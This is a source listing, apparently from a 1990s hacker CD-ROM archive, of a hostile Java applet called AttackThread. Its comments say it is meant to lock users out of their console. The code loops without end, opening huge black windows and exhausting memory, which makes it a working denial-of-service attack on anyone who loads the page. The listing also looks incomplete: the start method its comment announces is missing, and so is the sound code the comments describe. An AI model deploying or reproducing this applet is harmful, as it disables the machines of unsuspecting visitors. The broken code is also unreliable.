home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / atckthrd.jav < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.2 KB  |  109 lines

  1. /* AttackThread.java by Mark D. LaDue */
  2.  
  3. /* February 20, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to spew forth huge non-functioning
  10.    black windows and obliterate the screen in order to exclude the
  11.    user from the console.  It also features a terribly annoying sound
  12.    that won't stop until you do something drastic. */
  13.  
  14. import java.awt.*;
  15.  
  16. public class AttackThread extends java.applet.Applet implements Runnable {
  17.  
  18. //  Just a font to paint strings to the applet window 
  19.     Font wordFont = new Font("TimesRoman", Font.BOLD, 36);
  20.  
  21. //  This thread will attempt to spew forth huge windows and waste resources 
  22.     Thread wasteResources = null;
  23.  
  24. //  An offscreen Image where lots of action will take place
  25.     Image offscreenImage;
  26.  
  27. //  Graphics tools to handle the offscreen Image
  28.     Graphics offscreenGraphics;
  29.  
  30. //  To avoid arrays and have open-ended storage of results
  31.     StringBuffer holdBigNumbers = new StringBuffer(0);
  32.  
  33. //  Used to read in a parameter that makes the thread sleep for a
  34. //  specified number of seconds
  35.     int delay;
  36.  
  37. //  A window that repeatedly tries to obscure everything 
  38.     Frame littleWindow;
  39.  
  40. /*  Set up a big white rectangle in the browser, get the sound, and
  41.     create the offscreen graphics  */ 
  42.  
  43.     public void init() {
  44.     setBackground(Color.white);
  45.     offscreenImage = createImage(this.size().width, this.size().height);
  46.     offscreenGraphics = offscreenImage.getGraphics();
  47.     }
  48.  
  49. /*  Create and start the offending thread in the standard way */
  50.  
  51.  
  52. /*  We certainly won't be stopping anything */
  53.  
  54.     public void stop() {}
  55.  
  56.  
  57. /* Start the annoying sound and repeatedly open windows
  58.    while doing lots of other wasteful operations */ 
  59.  
  60.     public void run() {
  61.  
  62. //  Now fill the screen with huge windows, one atop another, and do
  63. //  a lots of wasteful stuff!
  64.  
  65.         while (true) {
  66.         try {
  67.         holdBigNumbers.append(0x7fffffffffffffffL);
  68.         littleWindow = new AttackFrame("ACK!"); // create a window
  69.         littleWindow.resize(1000000, 1000000);  // make it big!
  70.         littleWindow.move(-1000, -1000);  // cover everything
  71.         littleWindow.show();  //  now open the big window 
  72.         }
  73.         catch (OutOfMemoryError o) {}
  74.         repaint();
  75.         }
  76.     }
  77.  
  78.  
  79. /*  Paints the applet's lie */
  80.  
  81.     public void update(Graphics g) {
  82.         paint(g);
  83.     }
  84.  
  85.     public void paint(Graphics g) {
  86.     offscreenGraphics.setColor(Color.white);
  87.     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  88.     offscreenGraphics.setColor(Color.blue);
  89.     offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  90.     }
  91. }
  92.  
  93. /* Makes the big, opaque windows */
  94.  
  95. class AttackFrame extends Frame {
  96.     Label l;
  97.  
  98. //  Constructor method
  99.     AttackFrame(String title) {
  100.         super(title);
  101.  
  102.         setLayout(new GridLayout(1, 1));
  103.         Canvas blackCanvas = new Canvas();
  104.         blackCanvas.setBackground(Color.black);
  105.         add(blackCanvas);
  106.     }
  107. }
  108.  
  109.